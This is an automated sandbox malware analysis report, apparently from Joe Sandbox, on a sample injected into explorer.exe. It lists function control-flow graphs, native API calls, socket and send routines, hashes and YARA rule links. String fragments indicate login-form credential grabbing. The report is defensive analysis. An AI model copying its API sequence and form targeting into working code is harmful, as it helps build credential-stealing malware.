                                                                                                                                                                                                            control_flow_graph 303 fc51232-fc51256 304 fc518bd-fc518cd 303->304 305 fc5125c-fc51260 303->305 305->304 306 fc51266-fc512a0 305->306 307 fc512a2-fc512a6 306->307 308 fc512bf 306->308 307->308 310 fc512a8-fc512ac 307->310 309 fc512c6 308->309 313 fc512cb-fc512cf 309->313 311 fc512b4-fc512b8 310->311 312 fc512ae-fc512b2 310->312 311->313 314 fc512ba-fc512bd 311->314 312->309 315 fc512d1-fc512f7 call fc51942 313->315 316 fc512f9-fc5130b 313->316 314->313 315->316 320 fc51378 315->320 316->320 321 fc5130d-fc51332 316->321 322 fc5137a-fc513a0 320->322 323 fc51334-fc5133b 321->323 324 fc513a1-fc513a8 321->324 327 fc51366-fc51370 323->327 328 fc5133d-fc51360 call fc51942 323->328 325 fc513d5-fc513dc 324->325 326 fc513aa-fc513d3 call fc51942 324->326 331 fc51410-fc51458 NtCreateFile call fc51172 325->331 332 fc513de-fc5140a call fc51942 325->332 326->320 326->325 327->320 329 fc51372-fc51373 327->329 328->327 329->320 338 fc5145d-fc5145f 331->338 332->320 332->331 338->320 340 fc51465-fc5146d 338->340 340->320 341 fc51473-fc51476 340->341 342 fc51486-fc5148d 341->342 343 fc51478-fc51481 341->343 344 fc514c2-fc514ec 342->344 345 fc5148f-fc514b8 call fc51942 342->345 343->322 351 fc514f2-fc514f5 344->351 352 fc518ae-fc518b8 344->352 345->320 350 fc514be-fc514bf 345->350 350->344 353 fc51604-fc51611 351->353 354 fc514fb-fc514fe 351->354 352->320 353->322 355 fc51500-fc51507 354->355 356 fc5155e-fc51561 354->356 359 fc51509-fc51532 call fc51942 355->359 360 fc51538-fc51559 355->360 361 fc51567-fc51572 356->361 362 fc51616-fc51619 356->362 359->320 359->360 366 fc515e9-fc515fa 360->366 367 fc51574-fc5159d call fc51942 361->367 368 fc515a3-fc515a6 361->368 364 fc5161f-fc51626 362->364 365 fc516b8-fc516bb 362->365 372 fc51657-fc5166b call fc52e92 364->372 373 fc51628-fc51651 call fc51942 364->373 369 fc516bd-fc516c4 365->369 370 fc51739-fc5173c 365->370 366->353 367->320 367->368 368->320 375 fc515ac-fc515b6 368->375 376 fc516f5-fc51734 369->376 377 fc516c6-fc516ef call fc51942 369->377 379 fc517c4-fc517c7 370->379 380 fc51742-fc51749 370->380 372->320 395 fc51671-fc516b3 372->395 373->320 373->372 375->320 383 fc515bc-fc515e6 375->383 399 fc51894-fc518a9 376->399 377->352 377->376 379->320 384 fc517cd-fc517d4 379->384 387 fc5174b-fc51774 call fc51942 380->387 388 fc5177a-fc517bf 380->388 383->366 390 fc517d6-fc517f6 call fc51942 384->390 391 fc517fc-fc51803 384->391 387->352 387->388 388->399 390->391 397 fc51805-fc51825 call fc51942 391->397 398 fc5182b-fc51835 391->398 395->322 397->398 398->352 404 fc51837-fc5183e 398->404 399->322 404->352 408 fc51840-fc51886 404->408 408->399
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3720341858.000000000FBC0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0FBC0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_fbc0000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CreateFile
                                                                                                                                                                                                            • String ID: `
                                                                                                                                                                                                            • API String ID: 823142352-2679148245
                                                                                                                                                                                                            • Opcode ID: de128a41b66c8ec8222e6cdebfc92e8119e2b93de7d93fbb6a18759800a4d987
                                                                                                                                                                                                            • Instruction ID: 76134fe68e684571cd96a954980158aa581a3d857a39198fa8161da82cd9efb3
                                                                                                                                                                                                            • Opcode Fuzzy Hash: de128a41b66c8ec8222e6cdebfc92e8119e2b93de7d93fbb6a18759800a4d987
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 2A227B70A18B099FCB58DF28C4997AAF7E1FB98700F84022ED85ED7251DB30E591CB85
                                                                                                                                                                                                            Function 0FC52E12 Relevance: 1.6, APIs: 1, Instructions: 59nativeCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 447 fc52e12-fc52e38 448 fc52e45-fc52e6e NtProtectVirtualMemory 447->448 449 fc52e40 call fc51942 447->449 450 fc52e70-fc52e7c 448->450 451 fc52e7d-fc52e8f 448->451 449->448
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • NtProtectVirtualMemory.NTDLL ref: 0FC52E67
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3720341858.000000000FBC0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0FBC0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_fbc0000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: MemoryProtectVirtual
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2706961497-0
                                                                                                                                                                                                            • Opcode ID: 8fde5b3aa229c20c01e10f6c0a0911328a1d50ad6ca7dd15efa95d0be41baddf
                                                                                                                                                                                                            • Instruction ID: a9bbafcbfc54267190df479dbbbb8e16e36fc08bf838c1fbab7c8de64ddc4c58
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 8fde5b3aa229c20c01e10f6c0a0911328a1d50ad6ca7dd15efa95d0be41baddf
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 12019230628B484F8784EF6C9485126B7E4FBC9315F000B3EA99AC3250D764C5414742
                                                                                                                                                                                                            Function 0FC52E0A Relevance: 1.6, APIs: 1, Instructions: 52nativeCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 452 fc52e0a-fc52e6e call fc51942 NtProtectVirtualMemory 455 fc52e70-fc52e7c 452->455 456 fc52e7d-fc52e8f 452->456
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • NtProtectVirtualMemory.NTDLL ref: 0FC52E67
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3720341858.000000000FBC0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0FBC0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_fbc0000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: MemoryProtectVirtual
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2706961497-0
                                                                                                                                                                                                            • Opcode ID: d782dca5996f3574fd0c4455d89641a9bf745bba617b6185d934ac73d2235392
                                                                                                                                                                                                            • Instruction ID: 33d802b75ea206e721c7c22946142016e1eb72bb2fb146066f99baf72be7f660
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d782dca5996f3574fd0c4455d89641a9bf745bba617b6185d934ac73d2235392
                                                                                                                                                                                                            • Instruction Fuzzy Hash: E901A234628B884B8B48EB3C94462A6B3E5FBCE314F000B3EE9DAC3241DB65D5024786
                                                                                                                                                                                                            Function 0FC4C8C2 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 100COMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • ObtainUserAgentString.URLMON ref: 0FC4C9A0
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3720341858.000000000FBC0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0FBC0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_fbc0000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: AgentObtainStringUser
                                                                                                                                                                                                            • String ID: User-Agent: $nt: $on.d$urlmon.dll
                                                                                                                                                                                                            • API String ID: 2681117516-319646191
                                                                                                                                                                                                            • Opcode ID: fab8d4f3d63e7cb3a61fc22749300fb1f1c56e9464b264e147718cbb7a7b3fb5
                                                                                                                                                                                                            • Instruction ID: 3e99c886094662a37adda66d284757820b1186dd8d2aecb5b30fbca9b10e435f
                                                                                                                                                                                                            • Opcode Fuzzy Hash: fab8d4f3d63e7cb3a61fc22749300fb1f1c56e9464b264e147718cbb7a7b3fb5
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 1031D131614B4C8BCB04EFA8C8857EDBBE5FB68204F40022AD84ED7251DF789649C799
                                                                                                                                                                                                            Function 0FC4C8BE Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 94COMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • ObtainUserAgentString.URLMON ref: 0FC4C9A0
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3720341858.000000000FBC0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0FBC0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_fbc0000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: AgentObtainStringUser
                                                                                                                                                                                                            • String ID: User-Agent: $nt: $on.d$urlmon.dll
                                                                                                                                                                                                            • API String ID: 2681117516-319646191
                                                                                                                                                                                                            • Opcode ID: 89ed80dc1d123a3fdb33b1283e784163d7980008e053a39b7e2b7c015d122c3c
                                                                                                                                                                                                            • Instruction ID: 09859ad2f9b4dc8325f2c432b7c3dbd6e1d4bc54e448bf09ba2bb90d93543409
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 89ed80dc1d123a3fdb33b1283e784163d7980008e053a39b7e2b7c015d122c3c
                                                                                                                                                                                                            • Instruction Fuzzy Hash: E321E670610B4C8BCB04EFA8C8457EDBBE5FF68204F80421AD85AD7251DF789649C799
                                                                                                                                                                                                            Function 0FC48B66 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148synchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 232 fc48b66-fc48b68 233 fc48b93-fc48bb8 232->233 234 fc48b6a-fc48b6b 232->234 237 fc48bbb-fc48bbc 233->237 235 fc48b6d-fc48b71 234->235 236 fc48bbe-fc48c22 call fc4f612 call fc51942 * 2 234->236 235->237 238 fc48b73-fc48b92 235->238 246 fc48cdc 236->246 247 fc48c28-fc48c2b 236->247 237->236 238->233 249 fc48cde-fc48cf6 246->249 247->246 248 fc48c31-fc48cb0 call fc53da4 call fc53022 call fc533e2 call fc53022 call fc533e2 247->248 261 fc48cb5-fc48cca CreateMutexExW 248->261 262 fc48cce-fc48cd3 261->262 262->246 263 fc48cd5-fc48cda 262->263 263->249
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3720341858.000000000FBC0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0FBC0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_fbc0000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CreateMutex
                                                                                                                                                                                                            • String ID: .dll$el32$kern
                                                                                                                                                                                                            • API String ID: 1964310414-1222553051
                                                                                                                                                                                                            • Opcode ID: 440592a6460f4a8a809c4e0f2019460d4d12f006c7151b444d4376acf3ab05fa
                                                                                                                                                                                                            • Instruction ID: 4af7536cb7e0ee0cf13aeb08d35eb57b16797b833edd3dd09748d37b3fa2d0eb
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 440592a6460f4a8a809c4e0f2019460d4d12f006c7151b444d4376acf3ab05fa
                                                                                                                                                                                                            • Instruction Fuzzy Hash: D0418D70918A088FCB44EFA8C8957ED77F0FB98300F44017AC84EDB256DE349A45CB85
                                                                                                                                                                                                            Function 0FC48B72 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138synchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3720341858.000000000FBC0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0FBC0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_fbc0000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CreateMutex
                                                                                                                                                                                                            • String ID: .dll$el32$kern
                                                                                                                                                                                                            • API String ID: 1964310414-1222553051
                                                                                                                                                                                                            • Opcode ID: d29081eafe973aeb990ac80f5dcafeb95ade16b14a0ff6f6c0f9231c9beedf12
                                                                                                                                                                                                            • Instruction ID: e1a961ede1cb08ff3f5c10be79dfb125388a88644a600d689cd5d063c6823139
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d29081eafe973aeb990ac80f5dcafeb95ade16b14a0ff6f6c0f9231c9beedf12
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 9A414B70918A088FDB84EFA8C4997EDB7F1FB98300F44417AD84EDB256DE349985CB85
                                                                                                                                                                                                            Function 0FC4E72E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52networkCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 293 fc4e72e-fc4e768 294 fc4e788-fc4e7ab connect 293->294 295 fc4e76a-fc4e782 call fc51942 293->295 295->294
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3720341858.000000000FBC0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0FBC0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_fbc0000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: connect
                                                                                                                                                                                                            • String ID: conn$ect
                                                                                                                                                                                                            • API String ID: 1959786783-716201944
                                                                                                                                                                                                            • Opcode ID: d2c20d592f91275318b70c66aa45ff63ae11574d98dcf1710f59c05c574d9bfb
                                                                                                                                                                                                            • Instruction ID: 5e9214c5a62cf7520518fcc88aeaa74b219ed054610c7b89b46907765668b098
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d2c20d592f91275318b70c66aa45ff63ae11574d98dcf1710f59c05c574d9bfb
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 24015E30618B188FCB84EF1CE088B55B7E0FB58324F1545AED90DCB226C674D9818BC2
                                                                                                                                                                                                            Function 0FC4E732 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51networkCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 298 fc4e732-fc4e768 299 fc4e788-fc4e7ab connect 298->299 300 fc4e76a-fc4e782 call fc51942 298->300 300->299
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3720341858.000000000FBC0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0FBC0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_fbc0000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: connect
                                                                                                                                                                                                            • String ID: conn$ect
                                                                                                                                                                                                            • API String ID: 1959786783-716201944
                                                                                                                                                                                                            • Opcode ID: 640b8c0ab7b1bb3acdb51d34daf9cec4a3878eee67c7b90e610521ed962b484b
                                                                                                                                                                                                            • Instruction ID: a002999ee4ebbbdc015a080ef1b50c36dfd9239ec754c069f1ceaef2e2ae99ca
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 640b8c0ab7b1bb3acdb51d34daf9cec4a3878eee67c7b90e610521ed962b484b
                                                                                                                                                                                                            • Instruction Fuzzy Hash: A6014470618A1C8FCB84EF5CE049B55B7E0FB59314F1541AED80DCB226C774D9818BC2
                                                                                                                                                                                                            Function 0FC4E6B2 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 53networkCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 411 fc4e6b2-fc4e6e5 412 fc4e705-fc4e72d send 411->412 413 fc4e6e7-fc4e6ff call fc51942 411->413 413->412
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3720341858.000000000FBC0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0FBC0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_fbc0000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: send
                                                                                                                                                                                                            • String ID: send
                                                                                                                                                                                                            • API String ID: 2809346765-2809346765
                                                                                                                                                                                                            • Opcode ID: bba6785c5ab04fc1c912927f20b2eaf94db183ef6292e2548e0bd7e75e2cf9a2
                                                                                                                                                                                                            • Instruction ID: 0f128f56afa2132b701e218b4bfa55b6e8f4077a34f909fa5b66a3d4de1bf070
                                                                                                                                                                                                            • Opcode Fuzzy Hash: bba6785c5ab04fc1c912927f20b2eaf94db183ef6292e2548e0bd7e75e2cf9a2
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 22012570518A1C8FDBC4EF1CE049B25B7E0FB58314F1645AED85DCB266C670D881CB85
                                                                                                                                                                                                            Function 0FC4E5B2 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 49networkCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 416 fc4e5b2-fc4e5ea 417 fc4e5ec-fc4e604 call fc51942 416->417 418 fc4e60a-fc4e62b socket 416->418 417->418
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3720341858.000000000FBC0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0FBC0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_fbc0000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: socket
                                                                                                                                                                                                            • String ID: sock
                                                                                                                                                                                                            • API String ID: 98920635-2415254727
                                                                                                                                                                                                            • Opcode ID: 205056058728d72a76f2a9c444eb1655fc63b7523a02cb36171bec795444162f
                                                                                                                                                                                                            • Instruction ID: 48fe68b57f1cb08cd6fe008668c01c713d3176d62f9e592e587fadd164d8152d
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 205056058728d72a76f2a9c444eb1655fc63b7523a02cb36171bec795444162f
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 2B017C70618A1C8FCB84EF1CE048B50BBE0FB59314F1545AEE84ECB226C7B0C9818B86
                                                                                                                                                                                                            Function 0FC462DD Relevance: 1.6, APIs: 1, Instructions: 91COMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 421 fc462dd-fc46320 call fc51942 424 fc46326 421->424 425 fc463fa-fc4640e 421->425 426 fc46328-fc46339 SleepEx 424->426 426->426 427 fc4633b-fc46341 426->427 428 fc46343-fc46349 427->428 429 fc4634b-fc46352 427->429 428->429 430 fc4635c-fc4636a call fc50f12 428->430 431 fc46354-fc4635a 429->431 432 fc46370-fc46376 429->432 430->432 431->430 431->432 434 fc463b7-fc463bd 432->434 435 fc46378-fc4637e 432->435 436 fc463d4-fc463db 434->436 437 fc463bf-fc463cf call fc46e72 434->437 435->434 439 fc46380-fc4638a 435->439 436->426 442 fc463e1-fc463f5 call fc460f2 436->442 437->436 439->434 440 fc4638c-fc463b1 call fc47432 439->440 440->434 442->426
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3720341858.000000000FBC0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0FBC0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_fbc0000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Sleep
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3472027048-0
                                                                                                                                                                                                            • Opcode ID: 2c485226c71f8ce073f7c86c27236fb263c26e76649b5794a31fce9b42c1bba6
                                                                                                                                                                                                            • Instruction ID: e2132fe5d1fe3e98761c114233a4a0aa29425606fdbbf8064cac039a866f3683
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 2c485226c71f8ce073f7c86c27236fb263c26e76649b5794a31fce9b42c1bba6
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 82316CB4A04B49DEDB64AF6980492E5F7A0FB85301F84427EC91DCA10BC774B154DF91
                                                                                                                                                                                                            Function 0FC46412 Relevance: 1.5, APIs: 1, Instructions: 46threadCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 457 fc46412-fc46446 call fc51942 460 fc46473-fc4647d 457->460 461 fc46448-fc46472 call fc53c9e CreateThread 457->461
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3720341858.000000000FBC0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0FBC0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_fbc0000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CreateThread
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2422867632-0
                                                                                                                                                                                                            • Opcode ID: 86dfbf082f461ee8d50c48ad175151c38d579804c722c71aa6313b9ca1572f48
                                                                                                                                                                                                            • Instruction ID: 520b531358419c33ac3553596333b200a1f5726e16dc1ea18c9b84a684ae524c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 86dfbf082f461ee8d50c48ad175151c38d579804c722c71aa6313b9ca1572f48
                                                                                                                                                                                                            • Instruction Fuzzy Hash: DDF04630228B480FDB88EF2CD44663AF3E0FBE9204F44063EA94DC3225CA38D5814706

                                                                                                                                                                                                            Non-executed Functions

                                                                                                                                                                                                            Function 0EAD4D02 Relevance: 14.2, Strings: 11, Instructions: 404COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719677892.000000000EAA0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0EAA0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_eaa0000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: .dll$32.d$M$S$dll$el32$kern$ll$net.$user$wini
                                                                                                                                                                                                            • API String ID: 0-393284711
                                                                                                                                                                                                            • Opcode ID: 666e7131670ab6034242d7bb31114c5afc39a2cef586e73e73495a4832ac64d3
                                                                                                                                                                                                            • Instruction ID: 0220b8b24692f8780541d55f48f07e6e3d23a919ad86de65c937fe0bd6ecb88d
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 666e7131670ab6034242d7bb31114c5afc39a2cef586e73e73495a4832ac64d3
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 33E16974618F488FCB64EF68C494BAAB7E1FB58300F504A2E959FC7255DF30A905CB89
                                                                                                                                                                                                            Function 0E9E9D02 Relevance: 14.2, Strings: 11, Instructions: 404COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719532394.000000000E940000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E940000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_e940000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: .dll$32.d$M$S$dll$el32$kern$ll$net.$user$wini
                                                                                                                                                                                                            • API String ID: 0-393284711
                                                                                                                                                                                                            • Opcode ID: 666e7131670ab6034242d7bb31114c5afc39a2cef586e73e73495a4832ac64d3
                                                                                                                                                                                                            • Instruction ID: 1027dab35a4904576ecffe24a3b921eab62cdbb9d910fce8020b67fdb70ff003
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 666e7131670ab6034242d7bb31114c5afc39a2cef586e73e73495a4832ac64d3
                                                                                                                                                                                                            • Instruction Fuzzy Hash: FCE15870618F488FC765EF68C4947AAB7E0FB98301F504A2ED69BC7251DF34A941CB89
                                                                                                                                                                                                            Function 0EAD7792 Relevance: 21.6, Strings: 17, Instructions: 321COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719677892.000000000EAA0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0EAA0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_eaa0000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: Fiel$Subm$d$dPas$dUse$e$encr$encr$form$guid$itUR$name$rnam$swor$user$ypte$ypte
                                                                                                                                                                                                            • API String ID: 0-2916316912
                                                                                                                                                                                                            • Opcode ID: 1a4675aa69093f914decc08927043d33ef050167d1a45f8fb32d144d534e0ced
                                                                                                                                                                                                            • Instruction ID: baa601572af4699bef92b5fca8fe805151a66a5c28612cd13cf140d04f788372
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 1a4675aa69093f914decc08927043d33ef050167d1a45f8fb32d144d534e0ced
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 33B16C70618B488EDB59EF68C485AEEB7F1FF98300F50491ED49BC7251EF7099098B86
                                                                                                                                                                                                            Function 0E9EC792 Relevance: 21.6, Strings: 17, Instructions: 321COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000006.00000002.3719532394.000000000E940000.00000040.00000001.00040000.00000000.sdmp, Offset: 0E940000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_6_2_e940000_explorer.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: Fiel$Subm$d$dPas$dUse$e$encr$encr$form$guid$itUR$name$rnam$swor$user$ypte$ypte
                                                                                                                                                                                                            • API String ID: 0-2916316912
                                                                                                                                                                                                            • Opcode ID: 1a4675aa69093f914decc08927043d33ef050167d1a45f8fb32d144d534e0ced
                                                                                                                                                                                                            • Instruction ID: 13154b5ac12fcaabfcc450439d6051047f38ba69befca37381ce0df14a6a8c78
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 1a4675aa69093f914decc08927043d33ef050167d1a45f8fb32d144d534e0ced
                                                                                                                                                                                                            • Instruction Fuzzy Hash: FDB19A70518B488EDB19EF68C485AEEB7F1FF98300F50492ED59AC7251EF74A805CB86
                                                                                                                                                                                                            Function 0EAD5622 Relevance: 21.4, Strings: 17, Instructions: 151COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
